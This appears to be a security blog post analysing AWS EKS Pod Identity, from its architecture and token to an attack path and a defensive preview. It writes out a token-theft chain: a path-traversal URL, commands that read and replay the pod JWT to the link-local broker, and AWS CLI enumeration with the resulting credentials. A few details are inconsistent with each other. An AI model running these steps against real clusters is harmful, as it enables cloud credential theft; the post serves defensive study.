AWS EKS Pod Identity: Deconstructing Workload Token Interception
Overview & Threat Landscape#
In modern cloud-native architectures, containerized microservices running on Amazon Elastic Kubernetes Service (Amazon EKS) frequently require programmatic access to AWS cloud APIs—such as querying Amazon S3 buckets, decrypting secrets in AWS Secrets Manager, or publishing events to Amazon SQS. Historically, granting AWS permissions to Kubernetes workloads has evolved through distinct security models, each introducing unique architectural trade-offs:
graph TD
subgraph "EVOLUTION OF WORKLOAD IDENTITY IN AMAZON EKS"
direction TB
item_1["<b>1. Node Instance Profiles (2018)</b><br/>Overprivileged node-wide EC2 IAM role"]
item_2["<b>2. KIAM / Kube2IAM (2019)</b><br/>Reverse proxy intercepting EC2 IMDS 169.254"]
item_3["<b>3. IRSA (2019–2023)</b><br/>OIDC federation via sts:AssumeRoleWithWebIdentity"]
item_4["<b>4. EKS Pod Identity (2023–Present)</b><br/>Link-local agent & eks-auth API"]
item_1 --> item_2
item_2 --> item_3
item_3 --> item_4
endWhile IAM Roles for Service Accounts (IRSA) significantly improved security by binding IAM roles to individual Kubernetes ServiceAccounts via OpenID Connect (OIDC) federation, it introduced substantial operational complexity: every cluster required an associated OIDC identity provider in IAM, trust policies required exact OIDC issuer URLs and subject strings, and the AWS SDK had to make outbound calls across the public internet to AWS STS endpoints.
To eliminate this operational friction, AWS introduced Amazon EKS Pod Identity (AWS EKS Pod Identity Announcement). Pod Identity fundamentally alters how credentials are provisioned to containers. Instead of public OIDC discovery, Pod Identity deploys a node-level DaemonSet—the eks-pod-identity-agent—which binds to a dedicated link-local IPv4 address: 169.254.170.23:80 (and IPv6 [fd00:ec2::23]:80). When a pod starts, a mutating admission webhook injects projected ServiceAccount tokens and configures environment variables routing the AWS SDK directly to this local link-local broker.
The agent on the node intercepts the request, calls a dedicated regional AWS API—eks-auth:AssumeRoleForPodIdentity—and returns temporary AWS security credentials (AccessKeyId, SecretAccessKey, SessionToken) directly into the container.
graph LR
subgraph "THE POD IDENTITY ARCHITECTURAL SHIFT"
direction LR
node_1["<b>IRSA: Pod</b><br/>Pod Identity: Pod"]
node_2["<b>Public Internet / STS</b><br/>Link-Local 169.254.170.23 -<br/>eks-auth:A"]
node_3["<b>Cloud IAM Role</b><br/>Node Agent<br/>ssumeRole..."]
node_1 --> node_2
node_2 --> node_3
endHow EKS Pod Identity Shifts the Attack Calculus#
While EKS Pod Identity simplifies IAM lifecycle management, it introduces critical architectural shifts that change the threat model for cloud security architects, penetration testers, and detection engineers:
A New In-Cluster Credential Broker (
169.254.170.23): Every worker node in an EKS cluster running the Pod Identity add-on hosts an unauthenticated HTTP service on port 80 at link-local IP169.254.170.23. This endpoint functions as an in-cluster metadata service. While requests require anAuthorizationheader containing the projected JWT token, the presence of an in-cluster HTTP credential broker expands the blast radius of Server-Side Request Forgery (SSRF) and local network sniffing.Decoupling IAM Trust Policies from Specific Clusters: Under IRSA, an IAM role's trust policy explicitly named the unique OIDC issuer URL of the specific EKS cluster (e.g.,
oidc.eks.us-east-1.amazonaws.com/id/EXAMPLE123456789). Under Pod Identity, the IAM role trust policy delegates authority directly to the AWS service principalpods.eks.amazonaws.com. Authorization is enforced via condition keys (aws:SourceArnoraws:SourceAccount). If an administrator configures broad or missing condition keys, workloads from unintended clusters, namespaces, or AWS accounts can assume the target IAM role.Portability of Projected Token Files: EKS projects a cryptographic JWT token into the pod at
/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token. Unlike EC2 IMDSv2 session tokens—which are bound to the specific IP address and TTL of the caller—the EKS Pod Identity JWT is a bearer token valid for hours. If an attacker achieves arbitrary file read (LFI / path traversal) or container escape, the token can be exfiltrated and replayed against169.254.170.23from other containers on the same node or directly to the AWSeks-authAPI.Namespace Multi-Tenancy Breakout: In multi-tenant Kubernetes clusters where development teams share infrastructure across namespaces, Kubernetes Role-Based Access Control (RBAC) often permits developers to create or modify Pods and Jobs. If a namespace contains a ServiceAccount mapped via Pod Identity Association to an IAM role with elevated privileges (such as
AdministratorAccessor S3 write access), any user withcreate podprivileges in that namespace can schedule a container bound to that ServiceAccount, instantly inheriting cloud administrative access.
[!WARNING] EKS Pod Identity shifts the identity boundary from AWS IAM directly into Kubernetes RBAC. If an attacker compromises a Kubernetes namespace or achieves local file access inside a container, they can leverage the projected token to assume IAM roles and pivot from container execution into full AWS cloud account takeover.
Vulnerability & Attack Root-Cause Analysis#
To understand how workloads obtain credentials and where security controls can fail, security engineers must analyze the internal mechanics of the EKS Mutating Webhook, the Projected JWT Token Structure, the eks-pod-identity-agent DaemonSet, and the eks-auth API.
1. The Pod Identity Injection Pipeline#
When an application pod is created in an EKS cluster where an EKS Pod Identity Association exists for its ServiceAccount, the EKS control plane executes an admission mutation:
graph TD
subgraph "POD IDENTITY INJECTION PIPELINE"
direction TB
step_1["1. Pod Manifest Submitted (spec.serviceAccountName: backend-sa)"]
step_2["2. EKS Admission Webhook matches Pod Identity Association"]
step_3["3. Injects Environment Variables:"]
step_4["4. Mounts Projected ServiceAccount Volume (eks-pod-identity-token)"]
step_5["5. AWS SDK queries http://169.254.170.23/v1/credentials with Bearer JWT"]
step_6["6. Node Agent calls eks-auth:AssumeRoleForPodIdentity"]
step_7["7. Returns Temporary STS Credentials (AccessKey, SecretKey, Token)"]
step_1 --> step_2
step_2 --> step_3
step_3 --> step_4
step_4 --> step_5
step_5 --> step_6
step_6 --> step_7
endInjected Environment Variables and Volume Mounts
The webhook mutates the pod specification to append the following container environment variables and projected volumes:
spec:
containers:
- name: application
env:
- name: AWS_CONTAINER_CREDENTIALS_FULL_URI
value: "http://169.254.170.23/v1/credentials"
- name: AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE
value: "/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token"
volumeMounts:
- mountPath: /var/run/secrets/pods.eks.amazonaws.com/serviceaccount
name: eks-pod-identity-token
readOnly: true
volumes:
- name: eks-pod-identity-token
projected:
defaultMode: 420
sources:
- serviceAccountToken:
audience: "pods.eks.amazonaws.com"
expirationSeconds: 86400
path: eks-pod-identity-token
2. Anatomy of the Projected Pod Identity JWT Token#
The token mounted inside the container is a signed JSON Web Token (JWT) issued directly by the Kubernetes API server's token controller. Unlike standard Kubernetes ServiceAccount tokens (which use audience https://kubernetes.default.svc), the Pod Identity token specifies audience: "pods.eks.amazonaws.com".
Decoded JWT Header and Payload:
{
"alg": "RS256",
"kid": "k8s-key-2026-abc123def456"
}
.
{
"iss": "https://oidc.eks.us-east-1.amazonaws.com/id/EXAMPLE1234567890",
"sub": "system:serviceaccount:production:payment-processor-sa",
"aud": [
"pods.eks.amazonaws.com"
],
"exp": 1791244800,
"nbf": 1759708800,
"iat": 1759708800,
"jti": "8f3b2a1c-4d5e-6f70-8a9b-0c1d2e3f4a5b",
"kubernetes.io": {
"namespace": "production",
"serviceaccount": {
"name": "payment-processor-sa",
"uid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
},
"pod": {
"name": "payment-processor-78b9c-4x92m",
"uid": "b2c3d4e5-f6a7-8901-bcde-f12345678901"
}
}
}
The payload contains the exact identity claims required by the AWS EKS Auth service:
iss: The OIDC issuer URL of the EKS cluster.sub: The full ServiceAccount identifier (system:serviceaccount:<namespace>:<serviceaccount>).aud: Strictly validated aspods.eks.amazonaws.com.kubernetes.iometadata: Namespace, ServiceAccount name, and Pod UID.
3. The eks-pod-identity-agent DaemonSet and Link-Local Binding#
On each worker node, the eks-pod-identity-agent runs as a DaemonSet with hostNetwork: true.
How Link-Local Traffic Is Routed on the Worker Node
To ensure pods can reach 169.254.170.23:80, the agent (or the Amazon VPC CNI plugin) installs local networking rules:
- It assigns the link-local address
169.254.170.23/32to a local dummy or bridge interface on the host. - It sets up
iptables/nftablesrules directing traffic destined for169.254.170.23:80to the socket bound byeks-pod-identity-agent. - When a container sends an HTTP GET request to
http://169.254.170.23/v1/credentialswith headerAuthorization: Bearer <JWT>, the agent receives the request over the local veth pair.
The Decompiled Execution Flow inside eks-pod-identity-agent
Below is decompiled Go pseudocode representing how the agent processes the incoming token and calls AWS:
// Decompiled architecture from github.com/aws/eks-pod-identity-agent
package server
import (
"context"
"net/http"
"github.com/aws/aws-sdk-go-v2/service/eksauth"
)
func (s *Server) HandleCredentials(w http.ResponseWriter, r *http.Request) {
// 1. Extract Authorization header
authHeader := r.Header.Get("Authorization")
if authHeader == "" {
http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
return
}
jwtToken := extractBearerToken(authHeader)
// 2. Prepare request to regional AWS EKS Auth service
// Note: The agent uses its own node identity or AWS private link to reach eks-auth
input := &eksauth.AssumeRoleForPodIdentityInput{
ClusterName: &s.ClusterName,
Token: &jwtToken,
}
// 3. Invoke eks-auth:AssumeRoleForPodIdentity API
resp, err := s.EksAuthClient.AssumeRoleForPodIdentity(context.Background(), input)
if err != nil {
http.Error(w, "Failed to assume role: " + err.Error(), http.StatusForbidden)
return
}
// 4. Return temporary credentials in format expected by AWS SDK
credentialResponse := CredentialResponse{
AccessKeyId: *resp.Credentials.AccessKeyId,
SecretAccessKey: *resp.Credentials.SecretAccessKey,
SessionToken: *resp.Credentials.SessionToken,
Expiration: resp.Credentials.Expiration.Format(time.RFC3339),
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(credentialResponse)
}
4. Root Causes of Workload IAM Compromise#
The security integrity of EKS Pod Identity breaks down when specific architectural misconfigurations or vulnerabilities are introduced:
- Permissive IAM Role Trust Policies (Missing
aws:SourceArn): Under Pod Identity, an IAM role must trustpods.eks.amazonaws.com. The trust policy must use condition keys to constrain which cluster and association can assume the role. If an administrator creates a trust policy without specifyingaws:SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "pods.eks.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:TagSession"
]
// VULNERABILITY: Condition block is completely missing!
}
]
}
In this scenario, any EKS Pod Identity Association across any cluster in the AWS account (or any account if cross-account trust is granted) can assume this IAM role!
The
hostNetwork: trueSniffing & Hijacking Vector: Becauseeks-pod-identity-agentruns in the host network namespace, any untrusted container scheduled withhostNetwork: trueon the same worker node shares the host network stack. A compromised pod with host network privileges can bind to link-local interfaces, sniff plaintext HTTP traffic on port 80, or intercept authorization headers transmitted by sibling pods.LFI & Path Traversal to Projected Token Exfiltration: Because the token is mounted as a static file (
/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token), any Local File Inclusion (LFI) or path traversal vulnerability in a web application running inside the pod allows an attacker to download the raw JWT. The attacker can then issue a single HTTP request tohttp://169.254.170.23/v1/credentialswithAuthorization: Bearer <stolen-jwt>to obtain temporary AWS credentials.
Exploit Architecture#
The sequence diagram below illustrates the end-to-end attack flow: from initial container compromise and token exfiltration to link-local credential assumption and cloud lateral movement.
sequenceDiagram
autonumber
participant Attacker as Adversary (External)
participant AppPod as Vulnerable Pod (payment-processor)
participant Agent as Node Agent (169.254.170.23)
participant EksAuth as AWS EKS Auth Service
participant STS as AWS STS Engine
participant AWSCloud as AWS Cloud APIs (S3/SecretsManager)
Note over Attacker, AppPod: PHASE 1: INITIAL CONTAINER COMPROMISE
Attacker->>AppPod: 1. Exploit LFI / Path Traversal in Web Application
AppPod-->>Attacker: 2. Exfiltrate /var/run/secrets/pods.eks.amazonaws.com/.../token
Note over Attacker, Agent: PHASE 2: LINK-LOCAL CREDENTIAL ASSUMPTION
Attacker->>AppPod: 3. Execute command or SSRF querying link-local broker
AppPod->>Agent: 4. HTTP GET http://169.254.170.23/v1/credentials with Bearer Token
Agent->>Agent: 5. Parse Authorization header & extract JWT
Note over Agent, STS: PHASE 3: EKS AUTH & STS ROLE ASSUMPTION
Agent->>EksAuth: 6. API Call: AssumeRoleForPodIdentity(ClusterName, Token)
EksAuth->>EksAuth: 7. Validate JWT signature against Cluster OIDC JWKS
EksAuth->>EksAuth: 8. Resolve Pod Identity Association (Namespace + ServiceAccount)
EksAuth->>STS: 9. Request STS Temporary Credentials for Mapped IAM Role
STS->>STS: 10. Evaluate IAM Trust Policy (pods.eks.amazonaws.com + Conditions)
STS-->>EksAuth: 11. Return AccessKeyId, SecretAccessKey, SessionToken
EksAuth-->>Agent: 12. Deliver Credentials to Node Agent
Agent-->>AppPod: 13. HTTP 200 JSON Response with Temporary AWS Credentials
AppPod-->>Attacker: 14. Exfiltrate AWS Credentials to External C2
Note over Attacker, AWSCloud: PHASE 4: CLOUD CONTROL PLANE ESCALATION
Attacker->>AWSCloud: 15. Authenticate to AWS Cloud APIs using stolen STS Session
Attacker->>AWSCloud: 16. Exfiltrate S3 Buckets & Access Secrets ManagerAttack Path Step-by-Step#
Understanding how an adversary operationalizes this attack chain allows security engineers to identify forensic footprints across container filesystems, link-local network traffic, and AWS CloudTrail logs.
graph TD
subgraph "EKS POD IDENTITY 5-STAGE EXPLOITATION PATH"
direction TB
node_1["<b>1. Discovery</b><br/>Inspect Pod Environment & Identify 169.254.170.23"]
node_2["<b>2. Token Theft</b><br/>Exfiltrate Projected JWT from Volume Mount"]
node_3["<b>3. Token Audit</b><br/>Decode JWT Claims (Namespace, SA Name, Cluster)"]
node_4["<b>4. Replay</b><br/>Query http://169.254.170.23/v1/credentials"]
node_5["<b>5. Cloud Pivot</b><br/>Leverage Temporary STS Credentials in AWS APIs"]
node_1 --> node_2
node_2 --> node_3
node_3 --> node_4
node_4 --> node_5
endPhase 1: Environment Reconnaissance & Agent Detection#
Once an adversary achieves remote code execution (RCE) or interactive shell access inside a container, they inspect the environment to determine how cloud credentials are provisioned:
# Check environment variables for Pod Identity markers
env | grep -E "AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION"
# Expected Output:
# AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
# AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
If AWS_CONTAINER_CREDENTIALS_FULL_URI points to 169.254.170.23, the cluster is utilizing EKS Pod Identity rather than IRSA or legacy EC2 instance metadata.
Phase 2: Token File Exfiltration#
The adversary verifies whether the projected token file is readable:
# Inspect the projected token file permissions and content
ls -la /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
head -c 50 /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
echo ""
Because the default file mode is 420 (0644), any unprivileged user inside the container can read the token file. If the adversary has achieved web application LFI rather than full command execution, they can query the path via directory traversal:
http://victim-app.internal/download?file=../../../../var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
Phase 3: Inspecting JWT Token Claims#
The adversary decodes the base64-encoded JWT payload to determine which Kubernetes ServiceAccount and namespace the token represents:
# Decode JWT payload without cryptographic verification
TOKEN=$(cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token)
echo "$TOKEN" | awk -F. '{print $2}' | base64 -d 2>/dev/null | jq .
Sample Forensic Output:
{
"aud": [
"pods.eks.amazonaws.com"
],
"exp": 1791244800,
"iss": "https://oidc.eks.us-east-1.amazonaws.com/id/EXAMPLE1234567890",
"kubernetes.io": {
"namespace": "production",
"serviceaccount": {
"name": "data-pipeline-sa",
"uid": "3b2c1a0f-9e8d-7c6b-5a4f-3e2d1c0b9a8f"
}
},
"sub": "system:serviceaccount:production:data-pipeline-sa"
}
The adversary now knows the cluster's OIDC issuer, the target namespace (production), and the associated ServiceAccount (data-pipeline-sa).
Phase 4: Token Replay & Link-Local Querying#
Using the extracted token, the adversary sends an HTTP GET request to the link-local agent endpoint:
# Query the link-local broker using the extracted token
curl -s -H "Authorization: $TOKEN" "http://169.254.170.23/v1/credentials" | jq .
The eks-pod-identity-agent validates the token format, calls eks-auth:AssumeRoleForPodIdentity, and returns the temporary credential bundle:
{
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"SessionToken": "IQoJb3JpZ2luX2VjEPH//////////...[TRUNCATED_STS_TOKEN]...==",
"Expiration": "2026-10-06T15:00:00Z"
}
[!CAUTION] The link-local broker on
169.254.170.23does not perform client IP or network interface validation. Any process on the worker node that provides a valid JWT signed by the cluster API server will receive the corresponding IAM credentials.
Phase 5: Cloud Lateral Movement & IAM Privilege Abuse#
The adversary exports the stolen STS credentials into the AWS CLI or custom scripts to execute actions against cloud resources:
# Set AWS environment variables using stolen credentials
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEPH//////////..."
# Verify the assumed IAM role identity
aws sts get-caller-identity
# Enumerate sensitive cloud data
aws s3 ls
aws secretsmanager list-secrets
In AWS CloudTrail, the assumption event is logged as:
- Event Name:
AssumeRoleForPodIdentity - Event Source:
eks-auth.amazonaws.com - Assumed Role:
arn:aws:iam::123456789012:role/DataPipelineRole - Session Name: Formatted as
[pod-name]_[pod-uid]or customized by the cluster.
Fast Cyber Defense Morning Takeaways#
The architecture of EKS Pod Identity provides significant developer ergonomics, but security engineering teams must recognize that it concentrates the credential granting path into local node components and broad AWS trust relationships.
Summary of Threat Findings#
- The Link-Local Attack Surface: The presence of
169.254.170.23on every node introduces a new link-local credential broker. Protecting it requires strict network isolation and seccomp controls. - The Missing Condition Trap: Unlike IRSA, which enforces cluster-specific OIDC issuers by default, Pod Identity roles trust
pods.eks.amazonaws.com. If IAM trust policies omitaws:SourceArnoraws:SourceAccount, any cluster in the account can assume the role. - Multi-Tenancy RBAC Risks: In shared clusters, Kubernetes namespace boundaries are cloud security boundaries. Anyone with
create podprivileges can claim a ServiceAccount associated with high-privilege cloud IAM roles.
What to Prepare for Tonight's Blue Team Defense Guide#
In tonight's edition (EDITION 2: Systems & Platform Engineering / Blue Team Defense Guide), we will pivot from threat deconstruction to proactive hardening and automated detection:
- IAM Trust Policy Hardening: Crafting mathematically sound IAM trust policies that enforce
aws:SourceArn,aws:SourceAccount, and exactpodidentityassociationARNs. - Kubernetes NetworkPolicy Enforcement: Deploying egress filtering NetworkPolicies that block unauthorized pods from communicating with
169.254.170.23/32. - Restricting
hostNetwork: truevia Admission Controllers: Using Kyverno or OPA Gatekeeper policies to banhostNetwork: trueon user-facing workloads. - Production CloudTrail & GuardDuty Detection Rules: Engineering Sigma rules and Athena/Sentinel queries to detect unauthorized
AssumeRoleForPodIdentitycalls and anomalous cross-account role assumption attempts.
Authoritative References#
- Amazon Web Services (AWS) Official Documentation: Learn how EKS Pod Identity grants pods access to AWS services — AWS EKS User Guide
- Datadog Security Labs Research: Deep dive into the new Amazon EKS Pod Identity feature — Datadog Security Labs
- AWS Architecture Blog: Amazon EKS Pod Identity: a new way for applications on EKS to obtain IAM credentials — AWS Containers Blog
- Wiz Research: EKS Access Entries and Pod Identity Create New Privilege Escalation Paths — Wiz Academy
- Trend Micro Research: An Investigation of AWS Credential Exposure via Overprivileged Containers and Link-Local APIs — Trend Micro Research
Comments
Post a Comment